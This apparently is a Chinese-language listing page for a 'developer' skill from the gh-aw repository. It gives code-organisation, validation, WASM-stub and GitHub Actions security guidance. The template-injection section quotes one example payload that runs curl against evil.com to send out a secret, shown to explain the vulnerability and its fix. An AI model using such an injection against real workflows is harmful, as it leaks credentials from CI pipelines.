mcpField
D
developer

developer

github.com/github开发5.6k68 次安装今天更新
代码仓库

关于 developer

面向 gh-aw 贡献者的开发参考,涵盖代码组织、验证、安全与实现模式,并以仓库约定、命令流程和示例说明日常开发实践。

主要功能

  1. 01代码组织指南
  2. 02验证命令流程
  3. 03安全与模式实践
  4. 04Go 和 JavaScript 模式
  5. 05发布与兼容性指南

适用场景

  1. 01确定新增 Go 或 JavaScript 代码的位置
  2. 02按开发阶段执行验证
  3. 03查阅安全与模式约定

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/github/gh-aw --skill developer

安装后在 Claude Code 中输入/developer确认已加载。

详细介绍

开发者说明

请参考此文档,了解 gh-aw 技术规范以及代码组织、验证、安全和实现模式方面的开发指南。

目录

操作命令手册

本节详细介绍日常命令的执行流程。这些内容是特意从 AGENTS.md 中移除的,以减少首次运行时的环境上下文。

验证检查点

分层运行验证——尽早发现编译错误,将耗时较长的测试留到最后一轮。

  1. 每次重要代码编辑后(快速,<5s——立即发现编译错误)
    make build && make fmt
    
  2. 每次调用 report_progress 报告进度前(快速,<30s——不运行测试)
    make agent-report-progress-no-test
    
  3. 调用最终 report_progress 报告进度前(较慢,每个会话运行一次——包括 test-unit)
    make agent-report-progress
    
  4. 最终交接前,在时间允许时
    make agent-finish
    

**重要规则:**仅在调用最终 report_progress 报告进度前运行 test-unit,不要在中间保存前运行。每次不必要的调用都会使验证总耗时增加 120+ 秒。

**超时预算:**预计 make test-unit 最多耗时 120 秒。如果超时,请使用 make test-impacted-go,仅运行当前分支变更所影响的软件包的测试。

按变更类型选择命令
  • Go 文件变更:make fmt
  • 工作流 Markdown 变更:make recompile
  • JavaScript(*.cjs)变更:make fmt-cjs && make lint-cjs
合并 main 操作手册

明确要求合并 main 时:

  1. 运行 make merge-main。
  2. 如果 .go 或 .cjs 文件存在冲突,请解决冲突并暂存文件。
  3. 运行:
    make build
    make recompile
    git commit
    make fmt
    

大小写规范

gh-aw CLI 根据上下文使用不同的大小写,以区分产品名称和泛指的工作流。

大小写规则
上下文格式示例
产品名称首字母大写“GitHub Agentic Workflows CLI from GitHub Next”
泛指工作流小写“Enable agentic workflows”
技术术语首字母大写“Compile Markdown workflows to GitHub Actions YAML”

此规范将产品名称(GitHub Agentic Workflows)与概念(agentic workflows)区分开来,并遵循行业标准,类似于“GitHub Actions”与“actions”的区别。

实现

大小写规则通过 cmd/gh-aw/capitalization_test.go 中的自动化测试强制执行,这些测试会作为标准测试套件的一部分运行。

代码组织

文件组织原则

代码库遵循按功能而非按类型组织代码的明确模式。本节将介绍如何保持代码质量和结构。

优先使用多个小文件,而非大型文件

将代码组织到各自专注于特定功能、每个 100-500 行的文件中,而不要创建大型的单体文件。

示例:

create_issue.go (160 lines)
create_pull_request.go (238 lines)
create_discussion.go (118 lines)
按功能分组,而非按类型分组

推荐方式:

create_issue.go            # Issue creation logic
create_issue_test.go       # Issue creation tests
add_comment.go             # Comment addition logic
add_comment_test.go        # Comment tests

避免:

models.go                  # All structs
logic.go                   # All business logic
tests.go                   # All tests
值得遵循的优秀模式
创建函数模式

每个 GitHub 实体创建操作使用一个文件:

  • create_issue.go - GitHub issue 创建逻辑
  • create_pull_request.go - Pull request 创建逻辑
  • create_discussion.go - Discussion 创建逻辑
  • create_code_scanning_alert.go - 代码扫描警报创建逻辑

优点:

  • 职责分离清晰
  • 易于定位特定功能
  • 防止文件变得过大
  • 便于并行开发
引擎分离模式

每个 AI 引擎都有自己的文件,共享辅助函数位于 engine_helpers.go 中:

  • copilot_engine.go - GitHub Copilot 引擎
  • claude_engine.go - Claude 引擎
  • codex_engine.go - Codex 引擎
  • custom_engine.go - 自定义引擎支持
  • engine_helpers.go - 共享引擎实用工具
测试组织模式

测试与实现文件放在一起:

  • 功能测试:feature.go + feature_test.go
  • 集成测试:feature_integration_test.go
  • 特定场景测试:feature_scenario_test.go
文件大小指南
类别行数使用场景示例
小文件50-200实用工具、简单功能args.go(65 行)
中等文件200-500大多数功能实现create_issue.go(160 行)
大文件500-800复杂功能permissions.go(905 行)
超大文件800+仅限核心基础设施compiler.go(1596 行)
决策树:创建新文件
graph TD
    A[Need to add code] --> B{New safe output type?}
    B -->|Yes| C[Create create_entity.go]
    B -->|No| D{New AI engine?}
    D -->|Yes| E[Create engine_name_engine.go]
    D -->|No| F{Current file > 800 lines?}
    F -->|Yes| G[Consider splitting by boundaries]
    F -->|No| H{Functionality independent?}
    H -->|Yes| I[Create new file]
    H -->|No| J[Add to existing file]
决策树:拆分文件
graph TD
    A[Evaluating file split] --> B{File > 1000 lines?}
    B -->|Yes| C[SHOULD split]
    B -->|No| D{File > 800 lines?}
    D -->|Yes| E[CONSIDER splitting]
    D -->|No| F{Multiple responsibilities?}
    F -->|Yes| E
    F -->|No| G{Frequent merge conflicts?}
    G -->|Yes| E
    G -->|No| H[Keep as is]
案例研究:重构大型文件

对 pkg/parser/frontmatter.go 的重构展示了如何将文件组织原则应用于大型单体文件。

初始状态
  • 原始文件:1,907 行(单体结构)
  • 问题:难以浏览、理解和维护
  • 目标:拆分为职责明确、易于维护的模块
重构方法
graph TD
    A[frontmatter.go<br/>1,907 LOC] --> B[ansi_strip.go<br/>108 LOC]
    A --> C[frontmatter_content.go<br/>284 LOC]
    A --> D[remote_fetch.go<br/>258 LOC]
    A --> E[workflow_update.go<br/>129 LOC]
    A --> F[frontmatter.go<br/>1,166 LOC]

    B --> G[ANSI escape<br/>sequence utilities]
    C --> H[Frontmatter<br/>parsing & extraction]
    D --> I[GitHub remote<br/>content fetching]
    E --> J[Workflow file<br/>updates]
    F --> K[Core frontmatter<br/>processing]

    style B fill:#90EE90
    style C fill:#90EE90
    style D fill:#90EE90
    style E fill:#90EE90
    style F fill:#FFE4B5
结果
指标之前之后变化
主文件大小1,907 LOC1,166 LOC-741 LOC(-39%)
文件数量15+4 个文件
平均文件大小1,907 LOC233 LOC-88%
测试通过率100%100%无变化 ✓
破坏性变更N/A0无 ✓
提取的模块
  1. ansi_strip.go(108 LOC)

    • ANSI 转义序列剥离实用工具
    • 独立,无依赖项
    • 函数:StripANSI()、isFinalCSIChar()、isCSIParameterChar()
  2. frontmatter_content.go(284 LOC)

    • Frontmatter 的基本解析和提取
    • 无副作用的纯函数
    • 函数:ExtractFrontmatterFromContent()、ExtractFrontmatterString()、ExtractMarkdownContent() 等
  3. remote_fetch.go(258 LOC)

    • GitHub 远程内容获取
    • GitHub API 交互和缓存
    • 函数:downloadIncludeFromWorkflowSpec()、resolveRefToSHA()、downloadFileFromGitHub()
  4. workflow_update.go(129 LOC)

    • 高层工作流文件更新
    • Frontmatter 操作和 cron 表达式处理
    • 函数:UpdateWorkflowFrontmatter()、EnsureToolsSection()、QuoteCronExpressions()
应用的关键原则
  • 单一职责:每个模块负责 Frontmatter 处理的一个方面
  • 边界清晰:模块之间的接口定义明确
  • 渐进式重构:先提取独立的实用工具,再提取更高层的模块
  • 无破坏性变更:始终保持公共 API 兼容
  • 测试驱动的安全保障:每次提取后都运行测试
剩余工作

原始文件中还保留三个复杂模块(需要在后续工作中处理):

  • tool_sections.go(约 420 LOC):工具配置的提取与合并
  • include_expander.go(约 430 LOC):带循环检测的递归 include 解析
  • frontmatter_imports.go(约 360 LOC):BFS 导入遍历和处理

由于模块间依赖性高、逻辑有状态且递归算法复杂,因此暂未拆分。

应避免的反模式
上帝文件

一个文件包揽所有工作——应按职责拆分。frontmatter.go 重构示例展示了如何系统地拆分一个 1,907 行的“上帝文件”。

命名含糊

避免使用 utils.go、helpers.go、misc.go、common.go 这类描述性不足的文件名。

使用 ansi_strip.go、remote_fetch.go 或 workflow_update.go 这类具体名称,清晰表明文件的用途。

职责混杂

让文件专注于单一领域。不要在一个文件中混合无关功能。

测试污染

按场景拆分测试,不要把所有测试都放在一个庞大的测试文件中。

过早抽象

等有 2-3 个用例后,再提取通用模式。

辅助文件约定

辅助文件包含多个模块共用的实用函数。创建或修改辅助文件时,请遵循以下指南。

何时创建辅助文件

满足以下条件时,创建辅助文件:

  1. 共享实用函数:同一领域的 3 个以上文件会用到
  2. 领域明确(例如,配置解析、MCP 渲染、CLI 封装)
  3. 功能稳定,不会频繁变更

适合放入辅助文件的示例:

  • github_cli.go - GitHub CLI 封装函数(ExecGH、ExecGHWithOutput)
  • config_helpers.go - 安全输出配置解析(parseLabelsFromConfig、parseTitlePrefixFromConfig)
  • map_helpers.go - 通用映射/类型实用函数(parseIntValue、filterMapKeys)
  • mcp_renderer.go - MCP 配置渲染(RenderGitHubMCPDockerConfig、RenderJSONMCPConfig)
命名约定

辅助文件名应具体且有描述性,而不是泛泛而谈:

合适的名称:

  • github_cli.go - 表明包含 GitHub CLI 辅助函数
  • mcp_renderer.go - 表明包含 MCP 渲染辅助函数
  • config_helpers.go - 表明包含配置解析辅助函数

避免使用:

  • helpers.go - 过于笼统
  • utils.go - 含义过于模糊
  • misc.go - 表明组织不当
  • common.go - 未说明所属领域
辅助文件中应包含的内容

应包含:

  • 多个文件都会用到的小型(< 50 行)实用函数
  • 特定领域的解析/验证函数
  • 用于简化常见操作的包装函数
  • 类型转换实用函数

不应包含:

  • 复杂业务逻辑(应放在特定领域的文件中)
  • 仅有 1-2 个调用方的函数(与调用方放在一起)
  • 大型函数(> 100 行)——考虑放入专用文件
  • 单个文件中的多个无关领域
辅助文件组织方式

pkg/workflow 中现有的辅助文件:

文件用途函数使用场景
github_cli.goGitHub CLI 包装器2 个函数CLI 命令和工作流解析会用到
config_helpers.go安全输出配置解析5 个函数安全输出处理器会用到
map_helpers.go通用映射/类型实用函数2 个函数工作流编译过程中都会用到
prompt_step_helper.go提示词步骤生成1 个函数提示词生成器会用到
mcp_renderer.goMCP 配置渲染多个渲染函数所有 AI 引擎都会用到
engine_helpers.go引擎通用实用函数Agent、npm 安装辅助函数Copilot、Claude、Codex 引擎会用到
何时不应创建辅助文件

以下情况应避免创建辅助文件:

  1. 只有一个调用方——应与调用方放在一起
  2. 耦合紧密——函数与单个模块紧密耦合
  3. 频繁变更——辅助文件应保持稳定
  4. 职责混杂——包含多个无关的实用函数(拆分到职责明确的文件中)

优先选择就近放置的示例:

// Instead of: helpers.go containing formatStepName() used only by compiler.go
// Do: Put formatStepName() directly in compiler.go
重构指南

重构辅助文件时:

  1. 按领域分组——MCP 渲染放入 mcp_renderer.go,而不是 engine_helpers.go
  2. 保持函数简短——大型辅助函数(> 100 行)可能需要放入专用文件
  3. 说明用途——添加注释,解释每个辅助函数的使用时机
  4. 检查调用点——确认有 3 个以上调用方后,再将函数保留在辅助文件中
示例:MCP 函数重组

MCP 渲染函数从 engine_helpers.go 移到了 mcp_renderer.go,原因如下:

  • 领域聚焦:所有函数都与 MCP 配置渲染相关
  • 多个调用方:Claude、Copilot、Codex 和 Custom 引擎都会使用这些函数
  • 内聚性:这些函数协同工作,用于渲染 MCP 配置
  • 稳定性:渲染模式不会频繁变化

之前:

engine_helpers.go (478 lines)
  - Agent helpers
  - npm install helpers
  - MCP rendering functions ← Should be in mcp_renderer.go

之后:

engine_helpers.go (213 lines)
  - Agent helpers
  - npm install helpers
  
mcp_renderer.go (523 lines)
  - MCP rendering functions
  - MCP configuration types
字符串清理与规范化

代码库使用两种不同的字符串处理模式,目的也各不相同。

清理模式:字符有效性

目的:移除或替换无效字符,以创建有效的标识符、文件名或产物名称。

适用场景:需要确保字符串仅包含特定上下文中有效的字符(标识符、YAML 产物名称、文件系统路径)时。

处理内容:

  • 移除目标上下文中无效的特殊字符
  • 将分隔符(冒号、斜杠、空格)替换为连字符
  • 转换为小写,以保持一致性
  • 根据配置保留某些字符(句点、下划线)
规范化模式:格式标准化

目的:通过移除扩展名、在不同约定间转换,或应用一致的格式规则来标准化格式。

适用场景:需要在同一逻辑实体的不同表示形式之间转换时(例如,文件扩展名、命名约定)。

处理内容:

  • 移除文件扩展名(.md、.lock.yml)
  • 在不同命名约定间转换(连字符转下划线)
  • 将标识符标准化为规范形式
  • 不会验证字符有效性(假设输入已有效)
函数参考

清理函数:

  • SanitizeName(name string, opts *SanitizeOptions) string - 使用自定义字符保留规则进行可配置的清理
  • SanitizeWorkflowName(name string) string - 清理工作流名称,以用于产物名称和文件路径
  • SanitizeIdentifier(name string) string - 为用户 Agent 字符串创建规范的标识符

规范化函数:

  • normalizeWorkflowName(name string) string - 移除文件扩展名,以获取基础工作流标识符
  • normalizeSafeOutputIdentifier(identifier string) string - 将连字符转换为下划线,以生成安全的输出标识符
决策树
graph TD
    A[Need to process a string?] --> B{Need to ensure character validity?}
    B -->|Yes| C[Use SANITIZE]
    C --> D{Artifact name / file path?}
    C --> E{Identifier / user agent?}
    C --> F{Custom requirements?}
    D --> G[SanitizeWorkflowName]
    E --> H[SanitizeIdentifier]
    F --> I[SanitizeName with options]
    B -->|No| J{Need to standardize format?}
    J -->|Yes| K[Use NORMALIZE]
    K --> L{Remove file extensions?}
    K --> M{Convert conventions?}
    L --> N[normalizeWorkflowName]
    M --> O[normalizeSafeOutputIdentifier]
最佳实践
  1. 选择合适的工具:使用清理来确保字符有效,使用规范化来标准化格式。
  2. 避免重复处理:如果规范化后得到的是有效标识符,就不要再次清理。
  3. 说明意图:使用这些函数时,添加注释说明所用的模式及其原因。
  4. 验证假设:如果假设输入已有效,请记录该假设。
  5. 考虑默认值:需要为空结果提供回退默认值时,使用 SanitizeIdentifier。
反模式

不要清理已规范化的字符串:

// BAD: Sanitizing a normalized workflow name
normalized := normalizeWorkflowName("weekly-research.md")
sanitized := SanitizeWorkflowName(normalized) // Unnecessary!

不要用规范化来确保字符有效性:

// BAD: Using normalize for invalid characters
userInput := "My Workflow: Test/Build"
normalized := normalizeWorkflowName(userInput) // Wrong tool!
// normalized = "My Workflow: Test/Build" (unchanged - invalid chars remain)
WASM 构建变体模式

pkg/workflow/ 中的 7 个文件为 WASM 编译目标(GOOS=js GOARCH=wasm)提供依赖操作系统功能的存根实现,gh-aw Web 游乐场会使用该目标。每个文件都以 _wasm.go 为后缀(Go 对 GOARCH=wasm 隐式采用的文件名构建约束),并且在第 1 行带有显式的 //go:build js || wasm 标签:

pkg/workflow/dependabot_wasm.go
pkg/workflow/docker_validation_wasm.go
pkg/workflow/git_helpers_wasm.go
pkg/workflow/github_cli_wasm.go
pkg/workflow/npm_validation_wasm.go
pkg/workflow/pip_validation_wasm.go
pkg/workflow/repository_features_validation_wasm.go

每个 _wasm.go 文件都会镜像对应的非 WASM 文件中的公共函数和包级函数签名,但会将操作系统调用(执行、文件系统、网络)替换为空操作,或返回 fmt.Errorf("... not available in Wasm")。

何时需要 _wasm.go 桩

在现有受 _wasm.go 保护的文件中添加新函数时,或创建会在编译/验证时调用操作系统级工具的新文件时,都要添加 _wasm.go 桩。具体包括:

  • 调用 os/exec 或运行外部二进制文件(gh、git、docker、npm、pip、uv 等)的函数
  • 在编译期间从真实文件系统读取数据的函数
  • 在验证时执行网络 I/O 的函数

不需要 WASM 桩的函数:

  • 纯数据转换(字符串操作、YAML 编组)
  • 仅操作内存中数据结构的函数
  • 受 WithSkipValidation(true) 控制的函数(运行时已排除,但仍需通过编译)
如何添加桩
  1. 找到非 WASM 文件(例如,github_cli.go)。
  2. 打开(或创建)对应的 _wasm.go 文件(例如,github_cli_wasm.go)。
  3. 确保第 1 行的构建标签为 //go:build js || wasm。
  4. 添加一个签名相同、返回零值和/或错误的桩:
    func MyNewFunction(args ...string) ([]byte, error) {
        return nil, fmt.Errorf("MyNewFunction not available in Wasm")
    }
    
  5. 验证 WASM 构建仍能通过编译:
    GOOS=js GOARCH=wasm go build ./pkg/workflow/
    
已知缺口

github_cli_wasm.go 目前未提供 enrichGHError、runGHWithSpinnerContext、RunGHCombinedContext、RunGHWithHost 和 SetGHHostEnv 的桩。这些是未导出的辅助函数或仅由已导出且已有桩的 RunGH* 系列函数调用的简单封装;编译器不会直接引用它们。此处是有意为之——除非 WASM 构建失败,否则不要为未导出的辅助函数添加桩。

验证架构

验证系统会在编译前确保工作流配置正确、安全,并与 GitHub Actions 兼容。

架构概览
graph LR
    WF[Workflow] --> CV[Centralized Validation]
    WF --> DV[Domain-Specific Validation]
    CV --> validation.go
    DV --> strict_mode.go
    DV --> pip.go
    DV --> npm.go
    DV --> expression_safety.go
    DV --> engine.go
    DV --> mcp-config.go
集中式验证

位置: pkg/workflow/validation.go(782 行)

用途: 适用于整个工作流系统的通用验证

主要函数:

  • validateExpressionSizes() - 确保符合 GitHub Actions 表达式大小限制
  • validateContainerImages() - 验证 Docker 镜像存在且可访问
  • validateRuntimePackages() - 验证运行时软件包依赖项
  • validateGitHubActionsSchema() - 根据 GitHub Actions YAML 架构进行验证
  • validateNoDuplicateCacheIDs() - 确保缓存标识符唯一
  • validateSecretReferences() - 验证密钥引用语法
  • validateRepositoryFeatures() - 检查仓库功能
  • validateHTTPTransportSupport() - 验证 HTTP 传输配置
  • validateWorkflowRunBranches() - 验证工作流运行分支配置

以下情况应在此处添加验证:

  • 涉及多个领域的横向问题
  • 核心工作流完整性检查
  • GitHub Actions 兼容性验证
  • 通用架构和配置验证
  • 仓库级功能检测
特定领域验证

特定领域的验证分布在不同文件中:

严格模式验证

文件: pkg/workflow/strict_mode.go、pkg/workflow/validation_strict_mode.go

在严格模式下强制执行安全约束:

  • validateStrictPermissions() - 拒绝写入权限
  • validateStrictNetwork() - 要求显式配置网络
  • validateStrictMCPNetwork() - 要求在自定义 MCP 服务上配置网络
  • validateStrictBashTools() - 拒绝 bash 通配符工具
Python 软件包验证

文件: pkg/workflow/pip.go

验证 Python 软件包是否可在 PyPI 上获取:

  • validatePipPackages() - 验证 pip 软件包
  • validateUvPackages() - 验证 uv 软件包
NPM 软件包验证

文件: pkg/workflow/npm.go

验证 NPX 软件包是否可在 npm 注册表中获取。

表达式安全性

文件: pkg/workflow/expression_safety.go

通过基于允许列表的验证,检查 GitHub Actions 表达式的安全性。

验证决策树
graph TD
    A[New Validation Requirement] --> B{Security or strict mode?}
    B -->|Yes| C[strict_mode.go]
    B -->|No| D{Only applies to one domain?}
    D -->|Yes| E{Domain-specific file exists?}
    E -->|Yes| F[Add to domain file]
    E -->|No| G[Create new domain file]
    D -->|No| H{Cross-cutting concern?}
    H -->|Yes| I[validation.go]
    H -->|No| J{Validates external resources?}
    J -->|Yes| K[Domain-specific file]
    J -->|No| I
验证模式
允许列表验证

用于对有效选项有限的场景进行安全敏感的验证:

func validateExpressionSafety(content string) error {
    matches := expressionRegex.FindAllStringSubmatch(content, -1)
    var unauthorizedExpressions []string

    for _, match := range matches {
        expression := strings.TrimSpace(match[1])
        if !isAllowed(expression) {
            unauthorizedExpressions = append(unauthorizedExpressions, expression)
        }
    }

    if len(unauthorizedExpressions) > 0 {
        return fmt.Errorf("unauthorized expressions: %v", unauthorizedExpressions)
    }
    return nil
}
外部资源验证

用于验证外部依赖项:

func validateDockerImage(image string, verbose bool) error {
    cmd := exec.Command("docker", "inspect", image)
    output, err := cmd.CombinedOutput()

    if err != nil {
        pullCmd := exec.Command("docker", "pull", image)
        if pullErr := pullCmd.Run(); pullErr != nil {
            return fmt.Errorf("docker image not found: %s", image)
        }
    }
    return nil
}
架构验证

用于验证配置文件:

func (c *Compiler) validateGitHubActionsSchema(yamlContent string) error {
    schema := loadGitHubActionsSchema()

    var data interface{}
    if err := yaml.Unmarshal([]byte(yamlContent), &data); err != nil {
        return err
    }

    if err := schema.Validate(data); err != nil {
        return fmt.Errorf("schema validation failed: %w", err)
    }
    return nil
}
渐进式验证

用于依次应用多项验证检查:

func (c *Compiler) validateStrictMode(frontmatter map[string]any, networkPermissions *NetworkPermissions) error {
    if !c.strictMode {
        return nil
    }

    if err := c.validateStrictPermissions(frontmatter); err != nil {
        return err
    }

    if err := c.validateStrictNetwork(networkPermissions); err != nil {
        return err
    }

    return nil
}

安全最佳实践

本节根据静态分析工具(actionlint、zizmor、poutine)和安全研究,概述 GitHub Actions 工作流的安全最佳实践。

防止模板注入

当不可信输入被直接用于 GitHub Actions 表达式时,就会发生模板注入,使攻击者能够执行任意代码或访问机密。

了解风险

GitHub Actions 表达式(${{ }})会在工作流执行前求值。如果不可信数据(议题标题、PR 正文、评论)流入这些表达式,攻击者就可以注入恶意代码。

不安全模式
# VULNERABLE: Direct use of untrusted input
name: Process Issue
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - name: Echo issue title
        run: echo "${{ github.event.issue.title }}"

易受攻击的原因: 议题标题被直接插入。攻击者可以注入:"; curl evil.com/?secret=$SECRET; echo "

安全模式:环境变量
# SECURE: Use environment variables
name: Process Issue
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - name: Echo issue title
        env:
          ISSUE_TITLE: ${{ github.event.issue.title }}
        run: echo "$ISSUE_TITLE"

安全原因: 表达式在受控上下文中求值(环境变量赋值)。Shell 会将该值作为数据接收,而非可执行代码。

数据流对比
graph TB
    subgraph "Unsafe Pattern"
        A1[Untrusted Input] --> B1["Template Expression<br/>${{ ... }}"]
        B1 --> C1[Direct Interpolation<br/>into Shell Command]
        C1 --> D1[Code Execution Risk]
        style D1 fill:#f88,stroke:#f00
    end

    subgraph "Safe Pattern"
        A2[Untrusted Input] --> B2["Template Expression<br/>${{ ... }}"]
        B2 --> C2[Environment Variable<br/>Assignment]
        C2 --> D2[Shell Receives<br/>Data Only]
        D2 --> E2[No Code Execution]
        style E2 fill:#8f8,stroke:#0f0
    end
近期修复(2025 年 11 月)

以下文件中发现并修复了模板注入漏洞:

  • copilot-session-insights.md - 步骤输出通过环境变量传递
  • 模式:将模板表达式从 bash 脚本移至环境变量赋值

详细分析和修复文档请参阅 scratchpad/template-injection-prevention.md。

安全模式:已清理的上下文(仅适用于 gh-aw)
# SECURE: Use sanitized context output
Analyze this content: "${{ steps.sanitized.outputs.text }}"

steps.sanitized.outputs.text 输出会自动清理:

  • 消除 @ 提及
  • 防止机器人触发
  • 将 XML 标签转换为安全格式
  • 仅允许来自可信域名的 HTTPS URI
  • 强制执行内容限制(0.5MB、65k 行)
  • 移除控制字符
安全的上下文变量

始终可在表达式中安全使用:

  • github.actor
  • github.repository
  • github.run_id
  • github.run_number
  • github.sha

未经环境变量间接传递,绝不可在表达式中安全使用:

  • github.event.issue.title
  • github.event.issue.body
  • github.event.comment.body
  • github.event.pull_request.title
  • github.event.pull_request.body
  • github.head_ref(可由 PR 作者控制)
Shell 脚本最佳实践
SC2086:使用双引号防止通配符扩展和单词拆分

不安全:

steps:
  - name: Process files
    run: |
      FILES=$(ls *.txt)
      for file in $FILES; do
        echo $file
      done

易受攻击的原因: 变量可能按空白字符拆分,通配符模式会展开,还可能导致命令注入。

安全:

steps:
  - name: Process files
    run: |
      while IFS= read -r file; do
        echo "$file"
      done < <(find . -name "*.txt")
Shell 脚本安全检查清单
  • 始终为变量展开加引号:"$VAR"
  • 条件判断使用 [[ ]],而非 [ ]
  • 命令替换使用 $(),而非反引号
  • 启用严格模式:set -euo pipefail
  • 验证并清理所有输入
  • 使用 shellcheck 发现常见问题

安全脚本示例:

steps:
  - name: Secure script
    env:
      INPUT_VALUE: ${{ github.event.inputs.value }}
    run: |
      set -euo pipefail

      if [[ ! "$INPUT_VALUE" =~ ^[a-zA-Z0-9_-]+$ ]]; then
        echo "Invalid input format"
        exit 1
      fi

      echo "Processing: $INPUT_VALUE"

      result=$(grep -r "$INPUT_VALUE" . || true)
      echo "$result"
供应链安全

供应链攻击以 CI/CD 流水线中的依赖项为目标。

使用 SHA 固定 Action 版本

不安全:

steps:
  - uses: actions/checkout@v5           # Tag can be moved
  - uses: actions/setup-node@main       # Branch can be updated

易受攻击的原因: 标签可能被删除并重新创建,分支可能被强制推送,仓库所有权也可能变更。

安全:

steps:
  - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
  - uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2

安全原因: SHA 提交不可变。注释提供便于人类识别的版本信息,方便更新。

查找 Action 的 SHA
# Get SHA for a specific tag
git ls-remote https://github.com/actions/checkout v4.1.1

# Or use GitHub API
curl -s https://api.github.com/repos/actions/checkout/git/refs/tags/v4.1.1
工作流结构和权限
最小权限原则

不安全:

name: CI
on: [push]

permissions: write-all

安全:

name: CI
on: [push]

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@sha
      - run: npm test
作业级权限
name: CI/CD
on: [push]

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@sha
      - run: npm test

  deploy:
    needs: test
    runs-on: ubuntu-latest
    permissions:
      contents: read
      deployments: write
    steps:
      - uses: actions/checkout@sha
      - run: npm run deploy
可用权限
权限读取写入使用场景
contents读取代码推送代码仓库访问
issues读取议题创建/编辑议题议题管理
pull-requests读取 PR创建/编辑 PRPR 管理
actions读取运行记录取消运行工作流管理
checks读取检查结果创建检查状态检查
deployments读取部署记录创建部署部署管理
静态分析集成

将静态分析工具集成到开发和 CI/CD 工作流中:

可用工具
  • actionlint - 检查 GitHub Actions 工作流,并验证 Shell 脚本
  • zizmor - GitHub Actions 安全漏洞扫描器
  • poutine - 供应链安全分析器
本地运行
# Run individual scanners
actionlint .github/workflows/*.yml
zizmor .github/workflows/
poutine analyze .github/workflows/

# For gh-aw workflows
gh aw compile --actionlint
gh aw compile --zizmor
gh aw compile --poutine

# Strict mode: fail on findings
gh aw compile --strict --actionlint --zizmor --poutine
安全检查清单
模板注入
  • 不在 ${{ }} 表达式中使用不可信输入
  • 通过环境变量传递不可信数据
  • 尽可能使用安全的上下文变量
  • 使用经过清理的上下文(gh-aw:steps.sanitized.outputs.text)
Shell 脚本
  • 为所有变量加引号:"$VAR"
  • 不存在 SC2086 警告(未加引号的展开)
  • 启用严格模式:set -euo pipefail
  • 已实现输入验证
  • shellcheck 检查通过且无警告
供应链
  • 所有 Action 均固定到 SHA(而非标签/分支)
  • 为固定到 SHA 的 Action 添加版本注释
  • 使用来自可信创建者的 Action,或已对其进行审查
  • 已扫描依赖项中的漏洞
权限
  • 指定最小权限
  • 不使用 write-all 权限
  • 必要时使用作业级权限
  • 安全处理来自 Fork 的 PR
静态分析
  • actionlint 检查通过(无错误)
  • zizmor 检查通过(已处理高危/严重问题)
  • poutine 检查通过(供应链安全)

安全输出消息

安全输出函数以一致的消息模式处理 GitHub API 写入操作(创建议题、讨论、评论、PR),适用于 AI 生成的内容。

安全输出消息流程

下图说明了 AI 生成的内容如何通过安全输出系统流向 GitHub API 操作:

graph TD
    A[AI Agent Output] --> B{Staged Mode?}
    B -->|Yes| C[Generate Preview Messages]
    B -->|No| D[Process Safe Output]
    C --> E[Show 🎭 Staged Mode Preview]
    E --> F[Display in Step Summary]
    D --> G{Safe Output Type}
    G -->|create-issue| H[Create GitHub Issue]
    G -->|create-discussion| I[Create GitHub Discussion]
    G -->|add-comment| J[Add GitHub Comment]
    G -->|create-pull-request| K[Create Pull Request]
    G -->|create-pr-review-comment| L[Create PR Review Comment]
    G -->|update-issue| M[Update GitHub Issue]
    H --> N[Apply Message Patterns]
    I --> N
    J --> N
    K --> N
    L --> N
    M --> N
    N --> O[Add AI Attribution Footer]
    N --> P[Add Installation Instructions]
    N --> Q[Add Related Items Links]
    N --> R[Add Patch Preview]
    O --> S[Execute GitHub API Operation]
    P --> S
    Q --> S
    R --> S
    S --> T[Generate Success Summary]
    T --> U[Display in Step Summary]

流程阶段:

  1. AI Agent 输出 - AI 为 GitHub 操作生成内容
  2. 暂存模式检查 - 确定操作是否处于预览模式
  3. 安全输出处理 - 将内容路由到相应的 GitHub 操作类型
  4. 消息模式应用 - 应用一致的格式(页脚、说明、链接)
  5. GitHub API 执行 - 执行实际的 GitHub 操作
  6. 成功摘要 - 在工作流步骤摘要中报告结果
消息类别
AI 归属页脚

标识内容由 AI 生成,并链接到工作流运行记录:

> AI generated by [WorkflowName](run_url)

附带触发上下文:

> AI generated by [WorkflowName](run_url) for #123
工作流安装说明
>
> To add this workflow in your repository, run `gh aw add owner/repo/path@ref`. See [usage guide](https://github.github.com/gh-aw/setup/cli/).
暂存模式预览

所有暂存模式预览都使用带有 🎭 表情符号的一致格式:

## 🎭 Staged Mode: [Operation Type] Preview

The following [items] would be [action] if staged mode was disabled:
补丁预览

在 PR 正文中显示 Git 补丁,并限制大小:

<details><summary>Show patch (45 lines)</summary>

\`\`\`diff
diff --git a/src/auth.js b/src/auth.js
index 1234567..abcdefg 100644
--- a/src/auth.js
+++ b/src/auth.js
@@ -10,7 +10,10 @@ export async function login(username, password) {
-    throw new Error('Login failed');
+    if (response.status === 401) {
+      throw new Error('Invalid credentials');
+    }
+    throw new Error('Login error: ' + response.statusText);
\`\`\`

</details>

限制:最多 500 行或 2000 个字符(超出时截断并附加“... (truncated)”)

设计原则
一致性
  • 所有 AI 生成的内容都使用相同的引用块页脚格式
  • 🎭 表情符号始终用于标记暂存预览模式
  • URL 模式符合 GitHub 规范
  • 步骤摘要遵循相同的标题和列表结构
清晰度
  • 明确区分预览操作和实际操作
  • 提供清晰的错误消息和可执行的指导
  • 操作失败时提供有帮助的备用说明
  • 字段标签始终使用粗体
易于发现
  • 有可用的安装说明时,将其包含在页脚中
  • 在工作流输出中自动链接相关条目
  • 步骤摘要便于快速访问已创建的条目
  • 使用可折叠部分,让大量内容更易于管理
安全性
  • 对标签进行净化,防止意外提及用户
  • 验证补丁大小,并在需要时截断
  • 暂存模式支持无副作用测试
  • 主要操作失败时提供优雅的回退方案

Schema 验证

所有三个 JSON schema 文件都在根级别通过 "additionalProperties": false 强制执行严格验证,防止拼写错误和未定义字段在验证中悄然通过。

Schema 文件
文件用途
